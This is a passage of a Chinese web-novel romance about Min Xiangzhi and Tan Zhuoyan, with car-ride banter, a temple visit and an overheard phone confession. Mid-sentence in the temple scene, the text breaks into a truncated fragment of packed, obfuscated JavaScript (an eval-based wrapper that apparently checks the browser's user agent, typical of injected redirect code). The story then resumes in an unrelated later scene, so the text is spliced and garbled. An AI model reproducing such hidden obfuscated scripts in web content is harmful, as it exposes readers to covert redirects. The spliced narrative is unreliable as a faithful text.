“这种事怎么能让我代你去呢，要是以后我把哥哥的福气抢走了，那哥哥说不定会。” 谭卓言安静的靠在那里，等着闵向栀接下来的话。 闵向栀咬了下唇，她盯着谭卓言那好似妖精般勾人魂魄的美貌，昧着良心道：“会变丑的。” “……” 小女生瞪着一双纯真无辜的大眼睛，又毫不留情的补了一刀：“那样就没有女孩子喜欢你了，哥哥会打一辈子光棍的。” “……” 谭卓言气笑了，他松开一只胳膊，伸手，用指尖轻轻点了下闵向栀的额头：“你就不能盼我点好。” 上次给他发来好几条关于早恋的一些新闻链接，里面就没有一个好结果的，不是被诈骗下落不明，就是流落街头靠卖唱维生。 现在竟然又说他会打一辈子光棍。 “又不是我的错。”闵向栀小声咕哝了一句，“谁让哥哥不好好去吃素积福呢。” 看她一副小女生未经人事的样子，还真是一点都不懂，打一辈子光棍对男人的杀伤力有多大。 “你忍心看哥哥没人要，打一辈子光棍么？” 听他这样问，闵向栀不吭声了，她睁着两只大眼睛盯着谭卓言，心里有个念头很仓促的就冒了出来。 他不会打一辈子光棍的，她可以要他的。 这念头一冒出来，闵向栀就情不自禁的臊红了脸，她别别扭扭的站在那里，手指头抠着门把手，似是有些犹犹豫豫，却还是违背了她心里的意愿，毫不近人情的丢过去一句：“那哥哥你不要来找我，我不会收留你的。” “……” 小没良心的。 白对她那么好了。 看谭卓言还不离开，闵向栀就当作刚才什么都没发生似的，主动问道：“哥哥过来是不是有事找我呀。” “嗯，老妈让我过来。”谭卓言还懒懒的倚着门框，慢条斯理的丢过来一句，“喊你这个小白眼狼吃饭。” “……” 次日前往的那家寺庙，在江城的郊区，离市区有些远，怕中午爬山时太热，所以得早点出发。 闵向栀跟着许艺萍他们一大早就起了床，吃完早餐，也才刚过早上六点半。 出门前，许艺萍一边收拾东西，一边叮嘱了闵向栀一句：“从我们这里开车到寺庙，要两个多小时，你要是路上想上厕所，就跟谭姨说一声。” “好的，谭姨。” 应完，闵向栀低头将遮阳的渔夫帽，塞进了她的包包里。 那边门响了一下，闵向栀应声抬头望了过去，谭卓言从他房间里走了出来，他穿着件领口还有袖口都是红边的白T恤，牛仔裤，帆布鞋，打扮依如既往的很清爽。 看到他牛仔裤腰间侧边的裤袢上，扣着顶棒球帽，还有那只小黑猫时，闵向栀又低下了头。 还好，她今天没带那只小黑猫，不然整得跟他好像情侣款似的。 收拾好东西，一行人下了楼。 上车时，谭知贤帮忙打开副驾驶的门，示意了下闵向栀：“前排，坐么？” 闵向栀站在阳光里，仰头望着谭知贤：“贤哥哥坐副驾吧，我坐后排的位置就行。” 说着话，闵向栀就打开了后排的车门。 刚一落座，对面的车门就响了一下，谭卓言也跟着上了车，坐到了闵向栀旁边的位置上。 闵向栀扯过安全带，一边扣上，她一边偏头瞥了一眼谭卓言，不知道是不是还记着昨晚的仇，从早上起来他都没理过她。 扣好安全带，看许艺萍跟谭知贤还没上车，车里只有她跟谭卓言两个人，于是闵向栀朝旁边凑了下，主动跟他搭腔道：“哥哥，你是不是还在生我的气呀？” 谭卓言单肘撑着车窗，微偏头瞥了她一眼。 他还真犯不着跟她生气，只是早上起的太早，有些没精神，但看到闵向栀主动认错的样子，谭卓言也就故意端起了架子：“你也知道你昨天的话，伤着哥哥了？” “嗯，所以我刚才给你想了个办法。”闵向栀抓着身上的安全带，偏着头，跟谭卓言说道，“就算以后没人要你，也没事的。” 她望着他的眼睛，模样极为认真的又补了一句：“你可以在家啃老。” “……” 谭卓言长指抵额，面无表情的盯着闵向栀看了会儿，他突然轻笑了一声，带着一丝无奈。 少年很快又低垂下眼眸，像是想到了什么极为好笑的事，他胸腔微起伏，低沉的笑声夹着他温凉的气息，从喉咙深处不断溢出来。 笑的停不下来。 差不多笑够了，谭卓言靠回座椅上，而后他偏头望向闵向栀，模样比之她刚才还要认真一些：“嗯，行，那你以后可要努力了。” 闵向栀眨了眨眼：“我干嘛要努力？” 谭卓言无精打采的靠着椅背，像一摊泥一样摊在那里，自暴自弃道：“你以后要包养我。” “……” “我只出卖色相就好了。” “……” 车子里突然响起一阵来电铃声，是谭卓言的电话响了，他从口袋里掏出来，看了一眼。 离得近，闵向栀视线轻轻一扫，无意间也跟着看到了谭卓言手机屏幕上的来电显示：沈书妍。 原来是那个校花姐姐找他。 也不知道有什么急事，一大早就找他，普通朋友会这么早就打扰他么，不会真的已经确定关系了吧。 闵向栀抓着安全带，蹭回她的位置，却还竖着耳朵，偷听了下谭卓言打电话的内容。 “嗯，刚起来，要出发了。” “不说了，我要补个觉。” …… 谭卓言打电话的声音懒懒的，没什么精神头，也听不出什么情绪来，但听起来却像是刚确认关系的小情侣，大清早就忍不住腻歪了下。 闵向栀的胸口没来由的有些闷，她也不知道不开心什么，突然又想到要是这哥哥已经有了女朋友，还让她包养他的话。 未免有点。 过分了。 闵向栀偏头望向了窗外，脑海里忽地又响起刚才谭卓言的那句话：“我只出卖色相就好了。” “……” 不要脸。 车子启动，传来车轮碾过地面的嗡嗡声。 闵向栀靠着椅背闭上了眼睛，许是早上起得太早，出发没多久，她就困顿的睡着了。 等一觉醒来时，就差不多快到目的地了。 透过后视镜看到闵向栀醒了，许艺萍问了她一句：“要不要上厕所，前面有家加油站。” 闵向栀摇了摇头：“不用了，谭姨，我睡了一路，都还没喝水呢。” “行，反正我们也快到了。” “辛苦谭姨了。”闵向栀乖乖的回了一句。 前排坐在副驾驶的谭知贤转身，递过来一瓶饮料：“车上，有饮料。” 闵向栀双手接过：“谢谢贤哥哥。” 准备打开饮料时，才发现谭知贤已经提前帮她拧松了瓶盖。 几乎毫不费力的拧掉瓶盖，闵向栀就仰头喝了一两口，含着最后一口饮料，拧上瓶盖时，她朝旁边望了一眼，谭卓言还在睡觉。 视线又落到前排的谭知贤身上，虽然是亲兄弟，但两个哥哥的性格差别好大。 一个内敛寡言，而另一个。 闵向栀慢吞吞的小口咽着饮料，偏头再次望向旁边的谭卓言，这哥哥就完全是另一种性格，总是吊儿郎当的，没个正行。 还总是逗她。 但奇怪的是，不管谭卓言怎么逗她，她好像一点都不讨厌他，还有些喜欢跟他待在一起。 仿佛有心灵感应般，闵向栀的那句话刚在心里落下，旁边的谭卓言就睁开了眼，他偏头望向了她这边。 就那样不偏不倚的撞入了，她还鼓着腮帮子傻傻盯着他看的视线里。 “……” 对上少年慵懒如烟的视线，那一瞬，仿佛烟花绽放，闵向栀的脑海里一片空白，她恍惚的怔在了那里。 像是过去了很久，但也不过两三秒的光景，闵向栀眼睫微颤，她回神，咕咚一下咽下嘴里的饮料，而后她就假装什么事都没发生似的，慢吞吞地别过头，像一只小树懒一样，又慢吞吞地靠回了她的座椅。 她抱着怀里的饮料瓶，闭上了眼，假装继续睡觉。 “……” 谭卓言还随意的靠在那里，偏头望着旁边的闵向栀。 她乖乖的抱着饮料瓶窝在那里，看起来却有些拘谨的样子，也不知道在紧张什么，长长的眼睫毛不停的微微颤动着。 车里的光线有些暗，却还是能看到闵向栀白皙的脸颊泛了红晕，连薄薄的耳廓都红透了。 谭卓言轻微勾了下唇，他视线低垂，落到了闵向栀的唇上，少女不施粉黛的红唇，如花瓣般饱满诱人。 忽地只觉刚才被闵向栀盯过的左脸颊有些痒，仿佛刚才她的视线像一个吻，落在了他的脸颊上。 谭卓言的心底一阵悸动。 他垂下眼皮，舌尖微抵了下脸颊，而后他微挪了下身子，整个人几乎都仰躺在了座椅上，少年慵懒的低垂着眉眼，望着车窗外的风景从他的眼前一帧帧的划过。 抵达山上的寺庙时，还不到上午的九点，但日光已经晒起来，晒得整个山头仿佛都冒着热气。 迎着日光爬上山，进入寺庙，山上也没凉快多少。 但神圣的佛堂之内，却幽凉寂静，跟着许艺萍祈福时，闵向栀也虔诚的许下了两个愿望。 第一个愿望，她许给了父母，还有谭家的一家人，希望所有人都平安喜乐，顺遂无忧。 第二个愿望，她特别许给了谭卓言，希望他明年高考顺利，如愿考上他理想的学府。 佛堂里很安静，闵向栀就这样无意间听到了，旁边许艺萍喃喃祈福的一句话：“希望佛祖保佑我的大儿子可以彻底痊愈。” 看后面有人等待，闵向栀也没多停留，她起身让到了一边。 日光落进佛堂，扬起细小的灰尘，透过那些光亮，闵向栀看到了站在不远处的谭家两兄弟。 谭卓言正低头看着手机，门口人有些多，容易拥挤，怕撞着人，谭知贤就在旁默默的护着他这个弟弟。 跟谭知贤相处不多，但每一次见面，闵向栀也能感觉到这个不爱说话的大哥哥，心思细腻，是个很好的人。 虽然不知道刚才许艺萍口中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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上次大早上就打电话找谭卓言，才隔了没两天，又打电话找他，这么频繁的联系他，两个人是不是在谈恋爱呀。 那边的谭卓言一把捞起手机，接通了电话：“有事？” 闵向栀拿着空杯子，看洗水池离谭卓言很近，于是她走过去，站到水池前，假装洗了下杯子。 洗完，闵向栀也没离开，她双手空着杯子上的水珠，注意力却全都在旁边的谭卓言身上。 也不知哪来的好奇心，闵向栀很想知道电话那端的沈书妍，到底在跟谭卓言聊些什么。 将杯子放到琉璃台上，闵向栀顺手拿起一颗洗好的草莓，她咬在嘴里，慢吞吞的朝旁边移了一小步。 看旁边的谭卓言没什么反应，她就咬着草莓，又朝他那边蹭过去了一步。 离他越来越近，近到只剩一步之遥。 闵向栀正要偷偷的想再凑近一些时，在这个时候，旁边的谭卓言似是抬起了手，而后忽地一下，她就感觉到他手里的手机，就那样毫无预兆的贴到了她的耳边。 “……” 那边电话还没挂断，闵向栀的耳边，也猝不及防的传来了电话那端沈书妍的声音：“谭卓言，你到底要我告白几次，你才答应我。” “我真的很喜欢你，你就不能做我的男朋友么。” “等大学毕业，我可以嫁给你吗？” “……” 闵向栀怔在那里，脑海里突然一片空白。 手上的草莓很新鲜，味道酸甜，但此刻，闵向栀吃在嘴里，却嚼之无味。 仿佛石化般，闵向栀还怔在原地，却也不知该作如何的反应了。 谭卓言重新拿回手机，跟那边的沈书妍说了句回头再说，他就挂断了电话。 闵向栀咬着草莓，她低着眉眼，想着事情已经发生了，那就像上次无意间跟谭卓言对视一样，当作什么事都没发生似的，走掉就好了。 只是她都还没来得及转身，就听到旁边的谭卓言漫不经心的丢过来一句：“她刚才说了什么，哥哥没听到，你跟哥哥重复一下吧。” “……” 闵向栀慢吞吞的咬着草莓，反正都已经听到了，没道理不跟他说的。 再说，她其实也很想知道听到沈书妍的那些告白，谭卓言会有什么反应。 吞下嘴里的草莓，闵向栀扭头，望向了谭卓言：“那个校花姐姐说，到底要告白几次，你才答应我。” “还说，很喜欢你。”闵向栀抠着手心里的草莓蒂，跟着又小声重复道，“你就不能做我的男朋友么。” 听到这话，谭卓言微挑了下眉：“嗯，还有呢。” 许是因为被谭卓言挑拨了那一下，闵向栀越发有些无措起来，明明刚才喝了一大杯水，她却突然又有些口渴起来。 但也可能是因为那些告白的话过于直白，哪怕她只是重复，可说出口时，还是能感觉到莫名的心慌意乱。 闵向栀舔了下干燥的嘴唇，而后她鼓起勇气，终于将沈书妍的最后一句话，重复给了谭卓言听：“等大学毕业，我可以嫁给你吗？” 话落，旁边的谭卓言没了动静，他还单手撑着琉璃台，模样懒懒散散的，日光透过玻璃窗，落了他一身。 他逆着光，发色被午后的日光晒得偏浅了些，不知是不是错觉，那双平日里魅惑的桃花眼，在背光之处，也似是意外的多了些柔情。 像是盯着她看了很久，但也不过半分多钟的光景，谭卓言望着闵向栀清澈的眼眸，他薄唇微启，看似漫不经意。 却也仿佛像是思考了许久似的，难得看到他认真的模样，轻声呢喃了句：“嗯，那哥哥等你长大。”